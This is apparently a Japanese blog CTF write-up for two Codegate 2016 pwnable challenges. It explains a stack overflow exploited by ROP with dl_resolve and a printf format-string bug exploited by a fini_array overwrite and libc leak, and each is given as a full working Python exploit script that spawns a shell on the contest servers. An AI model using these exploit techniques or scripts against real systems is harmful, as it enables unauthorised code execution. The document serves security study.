つれづれなる備忘録

CTF関連の事やその他諸々

Codegate CTF 2016 Quals Writeup

0ctfの裏で行われていたCodegate CTF

うちのチームも登録はしてたけど,参加したのは僕だけ

しかも4時間くらいしか取り組んでいないという雑な扱い

一応2問解いたので,ここに書き記しておきます.

Watermelon (Pwnable 210)

下調べ

shiftcrops@S-Ubuntu:~/CTF/Codegate$ file watermelon-5d63b69dccbd0d46bcf3e559bf79b4a7 
watermelon-5d63b69dccbd0d46bcf3e559bf79b4a7: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=155b637b98c19cff6d3fce40c52dfe301ef746b0, stripped
shiftcrops@S-Ubuntu:~/CTF/Codegate$ checksec.sh --file watermelon-5d63b69dccbd0d46bcf3e559bf79b4a7 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   watermelon-5d63b69dccbd0d46bcf3e559bf79b4a7

Canaryが有効なので単純なスタックオーバーフローはダメ

プログラム動作解析

音楽のプレイリストを管理するプログラム

メニューを入力する関数のスタックフレーム内にデータを格納している

プレイリストには100個まで曲を登録できる

曲の構造体は次の通り

struct playlist{
 int  number;
 char music[20];
 char artist[20];
}

Modifyを行う関数内でスタックオーバーフローの脆弱性がある

f:id:shift_crops:20160314191158p:plain

入力されたnumberのチェックを特に行っていないため,登録上限の100より大きい値を指定できる

f:id:shift_crops:20160314191640p:plain

あと,artistの入力では0x14byteのサイズに対して0xc8byte読み込みを行う

解法

100番目のartistを溢れさせてリターンアドレスを書き換えようとすると,canaryを潰してしまうためROP出来ない.

そこで,101番目の領域に対してModifyを行ってリターンアドレスを書き換え,ROP Chainを組むこととする.

canaryの位置が構造体のnumberの部分に当たるため,書き換えは行われず無事にretまでたどり着く.


eip取れたのでもう終わりじゃんって思ってたら,execve関数もsystem関数もない

しかもlibcも与えられてないので,GOTをリークさせてオフセット計算して,ってことも難しそう(libcごとリークさせればそれでも良いけど)

なので,dl_resolveすることにしましょう

plt_readに飛んでBSS領域にdl_resolveするのに必要なシンボルテーブルなどを書き込み,execve関数の解決を行う

Exploit

#!/usr/bin/env python
from sc_pwn import *

target     = {'host':'175.119.158.133','port':9091}

addr_plt_reloc  = 0x080484e0
addr_plt_read   = 0x080484f0
addr_got_puts   = 0x0804c028
addr_pop_x3     = 0x080495ad    # pop ebx ; pop edi ; pop ebp ; ret

addr_relplt     = 0x08048440
addr_dynsym     = 0x080481d8
addr_dynstr     = 0x080482f8
addr_version    = 0x080483c2
addr_bss        = 0x0804cb60

addr_buf        = addr_bss + 0x30 + 0x190
str_sh          = '/bin/sh\x00'

#==========
def attack(cmn):
    cmn.read_until('name : \n')
    cmn.sendln('hoge')
    
    Add(cmn,'\n','\n')

    dl = DLresolve('x86',addr_dynsym, addr_dynstr, addr_relplt, addr_version)
    dl.set_funcadr(addr_got_puts, 'execve')
    dlr = dl.resolve(addr_buf+len(str_sh))
    
    exploit  = '\x00'*0xc
    exploit += pack_32(addr_plt_read)
    exploit += pack_32(addr_pop_x3)
    exploit += pack_32(STDIN_FILENO)
    exploit += pack_32(addr_buf)
    exploit += pack_32(len(str_sh + dlr))
    exploit += pack_32(addr_plt_reloc)
    exploit += pack_32(dl.offset('execve'))
    exploit += pack_32(0xdeadbeef)
    exploit += pack_32(addr_buf)
    exploit += pack_32(NULL)
    exploit += pack_32(NULL)
    
    Modify(cmn, 101, exploit[:0x14], exploit[0x14:] if len(exploit)>0x14 else '\n')

    cmn.read_until('select\t|\t\n')
    cmn.sendln('4')

    cmn.send(str_sh + dlr)

def Add(cmn, music, artist):
    cmn.read_until('select\t|\t\n')
    cmn.sendln('1')
    cmn.read_until('music\t|\t')
    cmn.send(music)
    cmn.read_until('artist\t|\t')
    cmn.send(artist)

def Modify(cmn, num, music, artist):
    cmn.read_until('select\t|\t\n')
    cmn.sendln('3')
    cmn.read_until('number\t|\t\n')
    cmn.sendln(str(num))
    cmn.read_until('music\t|\t')
    cmn.send(music)
    cmn.read_until('artist\t|\t')
    cmn.send(artist)

#==========

if __name__=='__main__':
    cmn = Communicate(target,mode='RAW')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========


OldSchool (Pwnable 490)

下調べ

shiftcrops@S-Ubuntu:~/CTF/Codegate$ checksec.sh --file oldschool 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   oldschool

プログラム動作解析

コードが与えられているので解析するまでもない

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main( )
{
    char buf[1024] = { 0, };

    printf( "YOUR INPUT :" );

    fgets( buf, 1020, stdin );

    printf( "RESPONSE :" );
    
    printf( buf );

    return 0;
}

単純なFSBが存在しているが,どこのアドレスを書き換えるのかが問題

解法

1回目のFSB attackでは,スタックのアドレスが分かっていないのでROP Chainを組むことができない

fini_arrayをmain関数のアドレスに書き換えることで,初めにmain関数から返った後に再度main関数に飛ぶことができる


1回目のFSB attackでio_2_1_stdinからlibcのベースアドレス,スタックに積まれてる適当な場所からスタックのアドレスをリーク,及びfini_arrayの書き換えを行う

2回目のFSB attackでスタック上にROP Chainを組む

Exploit

#!/usr/bin/env python
from sc_pwn import *

target     = {'host':'175.119.158.131','port':17171}

addr_fini_arr       = 0x080496dc
addr_got_main       = 0x080497ec
addr_main           = 0x0804849b

offset_libc_stdin   = 0x001b7600
offset_libc_exit    = 0x0002eca0
offset_libc_system  = 0x0003b180
offset_libc_str_sh  = 0x0015f61b

#==========
def attack(cmn):
    exploit  = '%2$08x%264$08x'
    fsb = FSB(header=len(exploit),count=16-len(exploit), size=2)
    fsb.set_adrval(addr_fini_arr, addr_main)
    fsb.auto_write(index=7)
    exploit += fsb.get()
    cmn.sendln(exploit)

    cmn.read_until('RESPONSE :')
    addr_libc_stdin = int(cmn.read(8),16)
    addr_stack_ret  = int(cmn.read(8),16)-0xe4
    
    addr_libc_base      = addr_libc_stdin - offset_libc_stdin
    addr_libc_system    = addr_libc_base + offset_libc_system
    addr_libc_exit      = addr_libc_base + offset_libc_exit
    addr_libc_str_sh    = addr_libc_base + offset_libc_str_sh
    info('addr_libc_base = 0x%08x' % addr_libc_base)
    info('addr_stack_ret = 0x%08x' % addr_stack_ret)

    cmn.read_all()

    fsb = FSB(size=2)
    fsb.set_adrval(addr_stack_ret    , addr_libc_system)
    fsb.set_adrval(addr_stack_ret+0x4, addr_libc_exit)
    fsb.set_adrval(addr_stack_ret+0x8, addr_libc_str_sh)
    fsb.auto_write(index=7)
    cmn.sendln(fsb.get())
    
    cmn.read_all()

#==========

if __name__=='__main__':
    cmn = Communicate(target,mode='RAW')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========